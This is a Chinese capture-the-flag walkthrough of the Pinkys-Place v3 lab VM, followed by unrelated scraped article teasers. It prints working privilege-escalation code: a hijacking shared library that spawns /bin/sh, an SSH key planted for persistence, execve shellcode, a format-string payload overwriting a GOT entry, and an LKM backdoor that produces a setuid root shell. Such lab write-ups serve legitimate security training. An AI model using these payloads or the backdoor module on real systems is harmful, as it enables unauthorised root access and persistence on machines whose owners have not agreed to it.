3、靶场——Pinkys-Place v3(3)

文章目录

  • 一、获取flag4
    • 1.1 关于SUID提权
    • 1.2 通过端口转发获取setuid文件
    • 1.3 运行pinksecd文件
    • 1.4 利用nm对文件进行分析
    • 1.5 构建payload
    • 1.6 Fire
  • 二、获取flag5
    • 2.1 生成ssh公钥
    • 2.2 免密登录ssh
    • 2.3 以pinksecmanagement的身份进行信息收集
    • 2.4 测试程序/usr/local/bin/PSMCCLI
    • 2.6 利用格式化字符串漏洞提权
  • 三、总结

一、获取flag4

1.1 关于SUID提权

  SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限。当s这个标志出现在文件所有者的X权限上时,如/usr/bin/passwd这个文件的权限状态:-rwsr-xr-x.,此时就被称为Set UID,简称SUID。

  简单来说:假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。

搜索具备SUID权限的程序

	find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;

SUID-Find提权命令

find <文件> -exec whoami \; //文件必须存在

1.2 通过端口转发获取setuid文件

  发现了一个setuid文件pinkscd!注意:pinksecd文件的所有者是用户pinksecmanagement,用户pinksecmanagement对该文件具有读写和执行的权限,属于pinksecmanagement用户组的用户对该文件有读和执行的权限,其他用户只有执行的权限。

在这里插入图片描述

  使用socat进行文件传输

	socat -u open:pinksecd tcp-listen:7777,reuseaddr  // 靶机上运行,发送文件socat -u tcp:192.168.92.3:7777 open:pinksecd,create //kali上新建窗口,接收文件

-u:是指数据从左边单向传输到右边;
-U则是数据从右边单向传输到左边。
在这里插入图片描述

1.3 运行pinksecd文件

  查看pinksecd文件权限,该文件
在这里插入图片描述
  根据前面该文件是一个setuid文件,故修改文件权限,并运行。

	chmod +x pinksecd //赋予可执行权限./pinksecd //运行程序

在这里插入图片描述

发现缺少一个依赖库libpinksec.so

  使用ldd查看pinksecd的依赖库对应的文件:

	ldd pinksecd

在这里插入图片描述

libpinksec的路径是/lib/libpinksec.so

1.4 利用nm对文件进行分析

  nm是linux自带的特定文件分析工具,一般用来检查分析二进制文件、库文件、可执行文件中的符号表,返回二进制文件中各段的信息。命令:

	nm -g /lib/libpinksec.so

在这里插入图片描述

关于结果:

  • 左边的一串数字表示地址。如果是二进制文件,则表示逻辑地址,不是程序最后运行的地址。
  • 中间的字母代表当前条目位于程序哪一部分。T代表代码段数据。
  • 最后边代表对应的符号的内容。

  这里直接找_init,程序主要从这里开始运行。新建一个c文件,只要该文件中含有三个函数psbanner()、psopt()、psoptin()就可以制作payload了。

1.5 构建payload

  shell.c文件内容:

	#include <stdlib.h>int psbanner() {return system("/bin/sh");}int psopt() {return system("/bin/sh");}int psoptin() {return system("/bin/sh");}

在这里插入图片描述

编译:

	gcc -shared -o shell.o -fPIC shell.c

参数:

  • -shared代表创建动态链接库;
  • -fPIC则是生成位置无关代码,因为动态链接库可以被多个进程共享加载。
  • -o代表指定输出文件。

  关于gcc的相关信息,可以参考gcc编译命令详解及最佳实践

在这里插入图片描述

1.6 Fire

  使用payload替换/lib/libpibksec.socp shell.o /lib/libpinksec.so

在这里插入图片描述

对payload的个人理解:

  • 属于用户pinksecmanagment的文件pinksecd设置了SUID权限,用户pinksec在运行该文件的时候,将会以用户pinksecmanagment的身份去运行,也就是有效用户ID(EUID)是`pinksecmanagment。
  • 运行文件pinksecd的过程中,执行力system("/bin/sh")指令,相当于fork了一个shell,并且是以用户pinksecmanagment的身份新建的,也就是说可以进入用户pinksecmanagment的主目录/home/pinksecmanagment

知识补充:
(1)关于id命令:
id命令不含有任何参数,会报告当前用户的用户ID(uid)和用户名,所属的主要组ID(gid)和组名称、用户所有的属组(groups)和组名称。
在这里插入图片描述

(2)linux中UID,GID,EUID,EGID的快速理解

  • UID/GID指实际用户ID和实际组ID,即登录时的用户名,比如我是kali登陆,那么UID/GID 为kali/kali。
  • EUID/EGID指有效的用户ID和有效的组ID,它们指定了访问目标的权限。

例如:

  • 当前登录用户为my,welcome文件的ls -l 后的用户为my,组为mygroup,此时UID=my,GID=mygroup,EUID=my,EGID=mygroup。
  • 当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,此时UID=my,GID=mygroup,EUID=other,EGID=othergroup。并且my用户无法访问other用户的文件。

总的来说,EUID表示的是文件所有者的用户ID,EGID表示文件所有者所属的组ID。

  如果一个文件被设置了SUID或SGID位,会分别表现在所有者或同组用户的权限的可执行位上。例如:

	-rwsr-xr-x 表示SUID和所有者权限中可执行位被设置-rwSr–-r-- 表示SUID被设置,但所有者权限中可执行位没有被设置-rwxr-sr-x 表示SGID和同组用户权限中可执行位被设置-rw-r-Sr-- 表示SGID被设置,但同组用户权限中可执行位没有被设置

  接着刚才的案例进行分析

  • 当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,但是权限标志为rwsr-xr-x,那么该程序同样可以被执行,此时UID=my,GID=mygroup,EUID=other,EGID=mygroup。此时welcome程序有了other的权限,当然就可以访问apps了。
  • 同理,当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,但是权限标志为-rwxr-sr-x,那么UID=my,GID=mygroup,EUID=my,EGID=othergroup,因为同组,当然就可以执行apps文件。

请参考:

  • linux UID,GID,EUID,EGID,SUID,SGID快速理解
  • uid gid euid egid详解

  进入/home/pinksecmanagment拿到flag4!

在这里插入图片描述

二、获取flag5

在这里插入图片描述

  在刚刚提权的shell中使用backspace键,将会出现奇奇怪怪的符号,说明这个shell不稳定。根据之前的信息,靶场开了ssh服务,那么考虑免密方式登录靶机。

2.1 生成ssh公钥

  linux下,进入./.ssh目录(SSH密钥默认保存在该目录下),使用以下命令生成一对RSA公钥与密钥:

	ssh-keygen -t rsa
  • ssh-keygen语法:ssh-keygen [options]
  • -t表示要创建的密钥类型

在这里插入图片描述
在这里插入图片描述

  • id_rsa是私钥文件
  • id_rsa.pub是公钥文件

2.2 免密登录ssh

  下一步通过shell将kali的公钥写入靶机/home/pinksecmanagement/.ssh目录,文件命名为authorized_keys。这样做的目的是:公钥加密,私钥解密

免密登录原理:
在这里插入图片描述

  1. Client将自己的公钥存放在Server上,追加在文件authorized_keys中。
  2. Server端接收到Client的连接请求后,会在authorized_keys中匹配到Client的公钥pubkey,并生成随机数R,用Client的公钥对该随机数进行加密得到pubkey(R),然后将加密后信息发送给Client。
  3. Client端通过私钥进行解密得到随机数R,然后对随机数R和本次会话的SessionKey利用MD5生成摘要Digest1,发送给Server端。
  4. Server端会也会对R和SessionKey利用同样摘要算法生成Digest2。
  5. Server端会最后比较Digest1和Digest2是否相同,完成认证过程。

  进入/home/pinksecmanagement目录,mkdir .ssh新建.ssh文件夹,并进入。

在这里插入图片描述
  使用echo新建一个authorized_keys文件,将kali的公钥写入:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVhYclyR6Gr+wBz10uHSxlP6HjuklCuPuKpsKdU0Kg8+XHul3GeYWYuPmWldJfv29LXAEpMAXRgz3nzNcuJdyKciUT5rVOdAB6igaWcw9iz7IN1eEpm0vDVjpLSLHay8DIKJXYVd74Jpm4MtHpw5PsGcgDw2jnxE96XsD15vOANZu6ZSu8od7Clp+M+wVllSw0thRffIIoAhsT9jw+lS+DhnL6jw6Vq4Ud4+/lxtkJNJuiIixpuALMTu13VZl+0dLn3zBv9MqdR/f7a6ty1KepBpks/91yFLhgvIatXDLLoNacmSFfoibZbTEjbfGPnm1go8QdvbS9+nBBjGEC+iK2TQvMksrF1z1UXuWiWZaZfoR23jc6hhv9fpE8y3xGBblZPS20H03FbOpvDr4TA15QoFJbMZS0Yxg27Y4QXO/FVYr4yeeZk3dnTc0RQMPGl62H2zU17oBNrtgnGLY8tY97TG/6E2/rvI7b4NW9dBvH3PofxixK8CXNXdDSI0vFEfs= root@kali" > authorized_keys

在这里插入图片描述
在这里插入图片描述

成功免密登录!!!

ssh语法:ssh 用户名@ip地址 -p 端口

  • -i代表验证文件,就是私钥文件。
    在这里插入图片描述

2.3 以pinksecmanagement的身份进行信息收集

(1)搜索具备SUID权限的程序,常用命令如下:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};
find / -user root -perm -4000 -print 2>/dev/null

补充知识:

  • find命令语法:find [path] [expression]
    • path为查找路径,.代表当前路径,/代表根目录;
    • expression为参数
    • -user root表示查找所有者为root的文件;
    • -perm -4000表示权限为SUID的文件。等价于命令-perm -u=s
    • -type f代表文件,d代表目录;
  • 2>/dev/null代表删除错误信息;
  • 使用find执行命令语法:find (路径,必须存在) -exec <command> \;(结束标志)。例如:find . -exec whoami \;
    在这里插入图片描述

当前目录下有几个文件就执行几次whoami命令。

  使用find / -perm -u=s -type f 2>/dev/null或者find / -perm -4000 -type f 2>/dev/null查找具有SUID属性的文件。

在这里插入图片描述

  特别注意/usr/local/bin/PSMCCLI文件,使用ls -al查看其文件属性。

在这里插入图片描述

发现/usr/local/bin/PSMCCLI文件属于pinksecmanagement用户组,且其文件所有者是用户pinky。也就是说用户pinky属于pinksecmanagement用户组,文件/usr/local/bin/PSMCCLI其实是属于用户pinky

2.4 测试程序/usr/local/bin/PSMCCLI

PSMCCLI程序功能:输入什么返回什么。
  可知,该文件存在格式化字符串漏洞。同时,使用file命令查看文件类型,该文件属于ELF文件。

在这里插入图片描述

  • 在linux中,经gcc编译后生成的可执行文件属于ELF文件;
  • ELF是一类文件类型,而不是特指某一后缀的文件。

  ELF(Executable and Linkable Format,可执行与可链接格式)文件格式,在Linux下主要有如下三种文件:

  • 可执行文件(.out):Executable File,包含代码和数据,是可以直接运行的程序。其代码和数据都有固定的地址 (或相对于基地址的偏移 ),系统可根据这些地址信息把程序加载到内存执行。
  • 可重定位文件(.o):Relocatable File,包含基础代码和数据,但它的代码及数据都没有指定绝对地址,因此它适合于与其他目标文件链接来创建可执行文件或者共享目标文件。
  • 共享目标文件(.so):Shared Object File,也称动态库文件,包含了代码和数据,这些数据是在链接时被链接器(ld)和运行时动态链接器(ld.so.l、libc.so.l、ld-linux.so.l)使用的。

2.6 利用格式化字符串漏洞提权

  • 目的:目前我们的用户身份是pinksecmanagement,而文件PSMCCLI的所有者是用户pinky,提权的目的就是将我们用户身份从pinksecmanagement变为用户pinky
  • 格式化字符串的利用原理:

(1)使用socat进行文件传输

socat -u open:/usr/local/bin/PSMCCLI tcp-listen:9999,reuseaddr  // 靶机,文件发送方
socat -u tcp:192.168.92.3:9999 open:PSMCCLI,create  //kali,文件接收方

在这里插入图片描述

(2)查看二进制程序启用的安全保护

  使用checksec检查文件是否被保护,发现并没有什么保护,同时RELRO位为partial relro,说明我们对GOT表具有写权限。

在这里插入图片描述

(3)攻击思路

格式化字符串允许两个基本的攻击向量:

  • 直接内存访问:使用%x格式化字符串和位置值,可以打印或访问堆栈中的任何内存位置;
  • 写入位置的能力:使用%n格式化字符串写入任何位置,%n将到当前输出的所有数据的长度写回一个变量中去。

攻击思路:用%x定位位置,在位置中%n植入shellcode,用%hn执行。

(4)选择shellcode

shellcode网站

在这里插入图片描述

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

将shell代码放在环境变量中,利用格式字符串漏洞,将程序流重定向到环境变量的地址即可!

(5)将shellcode写入环境变量

export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

在这里插入图片描述
在这里插入图片描述

可以看到变量SPAWN的值就是那段shellcode。

(6)定位环境变量SPAWN的位置

  使用以下脚本寻找变量SPAWN的位置:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>int main(int argc, char *argv[]) {char *ptr;if(argc < 3) {printf("Usage: %s <environment variable> <target program name>\n", argv[0]);exit(0);}ptr = getenv(argv[1]); /* get env var location */ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */printf("%s will be at %p\n", argv[1], ptr);
}

编译gcc addr.c -o addr

在这里插入图片描述
  前面已经将shellcode写入环境变量SPAWN中了,现在需要寻找在执行目标二进制文件时,SPAWN所在内存位置,也就是shellcode在内存中的位置。

./addr SPAWN /usr/local/bin/PSMCCLI

在这里插入图片描述

可知,在执行目标二进制文件时,SPAWN(shellcode)所在的地址为0xbffffe81

(7)定位写入putchar的指针位置

objdump -R /usr/local/bin/PSMCCLI

在这里插入图片描述

putchars的地址为0x0804a01c

  • shellcode地址:0xbffffe81
  • putchars函数的地址:0x0804a01c
  • 需要将shellcode的地址写入putchar的指针存放位置。

(8)确定Args位置

/usr/local/bin/PSMCCLI AAAABBBBCCC$(python -c "print '%x.'*138")

-x可以访问内存中的数据。如果内存数据中连续出现4142,就说明可写。

在这里插入图片描述

	/usr/local/bin/PSMCCLI AAAABBBBCCC%134\$0x%135\$0x

去找具体两块块区域可写。

在这里插入图片描述

(9)找前半段地址

  现在需要访问 putchar 指针的地址(要修改的地址),即 0x0804a01c!32 位架构中的内存为 4 字节(32 位)大小。然而将使用格式字符串漏洞每次只能写两字节。所以需要把地址分成两个字节:

  • 低位地址:0x0804a01c
  • 高位地址:0x0804a01e(初始地址+2)
	/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$0x%135\$0x

在这里插入图片描述
(10)找后半段地址
  只需把$x换成$n。构造payload:

	/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$0x%135\$0n

在这里插入图片描述

(11)构造payload

  需要将值 0xbffffe7f(shellcode 地址),写入内存字节中,每个短字节(2个字节)最多只能容纳 0xffff,因此需要将值拆分为两个短字节。
shellcode 地址: 0xbffffe7f

  • 低位短字节地址: 0xfe7f = 65151
  • 高位短字节地址: 0xbfff = 49151

低二位0804a01c写入 fe80 - char_number(12) = 65142
高二位0804a01e (低二+2) 写入1bfff - fe80 = 49535[整数溢出原理 hn写入两字节,即0-65535]
小端序,低位放低地址

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65142u%134\$0hn%49534u%135\$0hn

在这里插入图片描述
(11)同样免密登录
在这里插入图片描述
在这里插入图片描述

  sudo -l查看执行sudo命令的使用者的权限,这里发现了无需密码可以执行的俩个命令 insmod rmmod,这俩个命令是操作内核的,insmod 是加载一个内核模块,rmmod 是卸载一个内核模块
在这里插入图片描述
  这里的提权方式是制作一个内核来提升权限。对内核模块的编写,可以是反弹一个root的shell,或者对一个制作的文件增加s权限修改为root用户所有等等。

  这里我选择制作一个获取sh的文件,用内核模块对其进行修改为root用户。

内核模块,修改:https://github.com/PinkP4nther/Pinkit/blob/master/pinkit.c 的反弹shell内核模块为赋权。具体内容如下:

#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/stat.h>#define ML      "GPL"
#define MA      "@Pink_P4nther"
#define MD      "An LKM Backdoor"
#define MV      "1.2"static int __init mload(void)
{char *envp[] = {"HOME=/root","TERM=xterm",NULL};char *argv[] = {"/bin/bash","-c","chown root:root /tmp/shell;chmod 4777 /tmp/shell",NULL};printk(KERN_INFO "[+] Command Execution Begin\n");call_usermodehelper(argv[0],argv,envp,UMH_WAIT_EXEC);printk(KERN_INFO "[+] Command Execution End\n");return 0;
}static void __exit munload(void)
{printk(KERN_INFO "[+] Happy Hacking!\n");
}module_init(mload);
module_exit(munload);MODULE_LICENSE(ML);
MODULE_AUTHOR(MA);
MODULE_DESCRIPTION(MD);
MODULE_VERSION(MV); 

shell文件编写

int main(void)
{setgid(0);setuid(0);execl("/bin/sh",0);
} 

Makefile文件

obj-m +=sroot.oall:make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modulesclean:make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

  准备内容sroot.c内核模块shell.c获取shell的代码,Makefile编译内核模块的文件。
在这里插入图片描述

  使用make命令编译sroot.c,gcc命令编译shell.c,sudo insmod sroot.ko装载内核模块。且将shell放到/tmp/下。

在这里插入图片描述
  在/tmp目录下shell就变成了一个root权限的可执行的setuid程序!
在这里插入图片描述

三、总结

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/140197.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

基于matlab实现的额 BP神经网络电力系统短期负荷预测未来(对比+误差)完整程序分享

基于matlab实现的额 BP神经网络电力系统短期负荷预测 完整程序&#xff1a; clear; clc; %%输入矢量P&#xff08;15*10&#xff09; P[0.2452 0.1466 0.1314 0.2243 0.5523 0.6642 0.7105 0.6981 0.6821 0.6945 0.7549 0.8215 0.2415 0.3027 0; 0.2217 0.1581 0.1408 0.23…

JS-ECharts-前端图表 多层级联合饼图、柱状堆叠图、柱/线组合图、趋势图、自定义中线、平均线、气泡备注点

本篇博客背景为JavaScript。在ECharts在线编码快速上手&#xff0c;绘制相关前端可视化图表。 ECharts官网&#xff1a;https://echarts.apache.org/zh/index.html 其他的一些推荐&#xff1a; AntV&#xff1a;https://antv.vision/zh chartcube&#xff1a;https://chartcub…

【力扣1464】数组中两元素的最大乘积

&#x1f451;专栏内容&#xff1a;力扣刷题⛪个人主页&#xff1a;子夜的星的主页&#x1f495;座右铭&#xff1a;前路未远&#xff0c;步履不停 目录 一、题目描述二、题目分析1、排序2、最值模拟 一、题目描述 题目链接&#xff1a;数组中两元素的最大乘积 给你一个整数数…

基于SSM的社区志愿者招募系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…

ERR_CONNECTION_REFUSED等非标准的HTTP错误状态码原因分析和解决办法

文章目录 一、DNS Resolution Failed1&#xff0c;DNS服务器故障2&#xff0c;DNS配置错误3&#xff0c;DNS劫持4&#xff0c;域名过期-5&#xff0c;其他网络问题 二、ERR_CONNECTION_REFUSED-"ERR_CONNECTION_REFUSED" 错误可能有多种原因 三、ERR_SSL_PROTOCOL_ER…

组队竞赛(int溢出问题)

目录 一、题目 二、代码 &#xff08;一&#xff09;没有注意int溢出 &#xff08;二&#xff09;正确代码 1. long long sum0 2. #define int long long 3. 使用现成的sort函数 一、题目 二、代码 &#xff08;一&#xff09;没有注意int溢出 #include <iostream&g…

CoreData 在新建或更新托管对象中途发生错误时如何恢复如初?

问题现象 在 CoreData 支持的 App 中,当我们新建或更新托管对象到一半突然出现错误时,应该禁止任何已发生的改变被写入内存或数据库中。不过,有时仍会出现始料未及的“意外”: 从上面的演示可以看到:即使在 Item 对象新建和更新途中出现错误后不执行后续的保存操作,但界…

追光者的梦

追光者的梦 鸿蒙中我茫然于世&#xff0c;你是钻入我心里的那束光 我所有的梦想都是和你热烈的拥抱 没有追到你时&#xff0c;我一直在路上 追到你时&#xff0c;我的人生就被你点燃 ——致所有的追光者 合肥先进光源国家重大科技基础设施项目及配套工程启动会刚开过&…

重新认识架构—不只是软件设计

前言 什么是架构&#xff1f; 通常情况下&#xff0c;人们对架构的认知仅限于在软件工程中的定义&#xff1a;架构主要指软件系统的结构设计&#xff0c;比如常见的SOLID准则、DDD架构。一个良好的软件架构可以帮助团队更有效地进行软件开发&#xff0c;降低维护成本&#xff0…

RestTemplate:简化HTTP请求的强大工具

文章目录 什么是RestTemplateRestTemplate的作用代码示例 RestTemplate与HttpClient 什么是RestTemplate RestTemplate是一个在Java应用程序中发送RESTful HTTP请求的强大工具。本文将介绍RestTemplate的定义、作用以及与HttpClient的对比&#xff0c;以帮助读者更好地理解和使…

建构居住安全生态,鹿客科技2023秋季发布会圆满举办

9月20日&#xff0c;以「Lockin Opening」为主题的2023鹿客秋季发布会在上海隆重举办&#xff0c;面向居住安全领域鹿客带来了最新的高端旗舰智能锁新品、多眸OS1.0、Lockin Care服务以及全联接OPENING计划。此外&#xff0c;现场还邀请了国家机构、合作伙伴、技术专家等业界同…

什么是单点登录?什么又是 OAuth2.0?

对于刚开始接触身份认证的朋友对于单点登录&#xff0c;OAuth2.0&#xff0c;JWT 等等会有诸多疑惑&#xff0c;甚至还会问既然有了 JWT 还拿 单点登录做什么&#xff1f;还拿 OAuth2.0 做什么&#xff1f; 不知做过身份认证的 xdm 看到这里是不是感觉这句话有点迷&#xff1f…

IBMMQ 安装教程(IBM WebSphere MQ 安装教程)- 及 IBMMQ 服务器搭建教程

文章目录 前言一、下载二、安装1. 解压&#xff0c;运行 Setup.exe 文件。2. 启动 IBM WebSphere MQ 安装程序。3. 接受用户协议。4. 选择定制安装。5. 更改安装目录。6. 下一步。7. 下一步。8. 下一步。9. 点击安装。10. 等待安装&#xff0c;完成。11. 准备安装 WebSphere MQ…

以太坊代币标准ERC20、ERC721

两个概念 ERC(Ethereum Request for Comment) 以太坊意见征集稿EIP(Ethereum Improvement Proposals)以太坊改进提案 ERC和EIP用于使得以太坊更加完善&#xff1b;在ERC中提出了很多标准&#xff0c;用的最多的标准就是它的Token标准; 有哪些标准详细见https://eips.ethereum…

学会使用Git 和 GitHub

Git 和 GitHub 都是程序员每天都要用到的东西 —— 前者是目前最先进的 版本控制工具&#xff0c;拥有最多的用户&#xff0c;且管理着地球上最庞大的代码仓库&#xff1b;而后者是全球最大 同性交友 代码托管平台、开源社区。 在没有这两个工具时&#xff0c;编程可能是这样的…

学习记忆——宫殿篇——记忆宫殿——记忆桩——单间+客厅+厨房+厕所+书房+院子

文章目录 单间客厅厨房厕所书房院子 单间 水壶 水龙头 香皂 果汁机 电视 门空间 花 红酒 葡萄 不锈钢 白毛沙发 彩色垫子 吉他 皮椅 挂画 风扇 糖抱枕 盒子 花土 水晶腿 衣柜 笔 三环相框 水壶 壁挂 台灯 被 网球拍 足球 抽屉 闹钟 蝴蝶 心 斑马 三轮车 音响 椅子 碗 玩偶 烟灰…

C/C++运算符超详细讲解(系统性学习day5)

目录 前言 一、运算符的概念与分类 二、算术运算符 三、关系运算符 四、逻辑运算符 五、赋值运算符 六、运算符的优先级 总结 前言 本篇文章是对运算符的具体讲解。 一、运算符的概念与分类 概念&#xff1a; 运算符就是一种告诉编译器执行特定的数学或逻辑操作的符…

用PHP实现极验验证功能

极验验证是一种防机器人的验证机制&#xff0c;可以通过图像识别等方式来判断用户是否为真实用户。在实现极验验证功能时&#xff0c;您需要进行以下步骤&#xff1a; 1 注册极验账号&#xff1a; 首先&#xff0c;您需要在极验官网注册账号并创建一个应用&#xff0c;获取相应…

pom.xml中解决“vulnerable dependency maven:org.yaml:snakeyaml:1.33“警告问题

问题 当我们引入依赖的时候&#xff0c;pom文件会有这样的提示&#xff0c;其大概的意思就是 maven:org.yaml:snakeyaml:1.30"表示通过Maven引入了一个潜在的安全漏洞依赖项"org.yaml:snakeyaml:1.30" 解决办法 其实我们就是要更改这个依赖的版本&#xff0c…

无需申请专线、无需改动网络,ERP/MES管理系统如何远程访问?

深圳市某模具公司作为一家以设计、制作五金模具、五金冲压、机加工件、加工经营为主的五金企业。为了实现更为高效的生产管理流程&#xff0c;引入了面向钣金/五金行业信息化建设的ERP/MES管理系统及方案&#xff0c;并将其部署在了企业总部的内网服务器。 除了总部访问需求外&…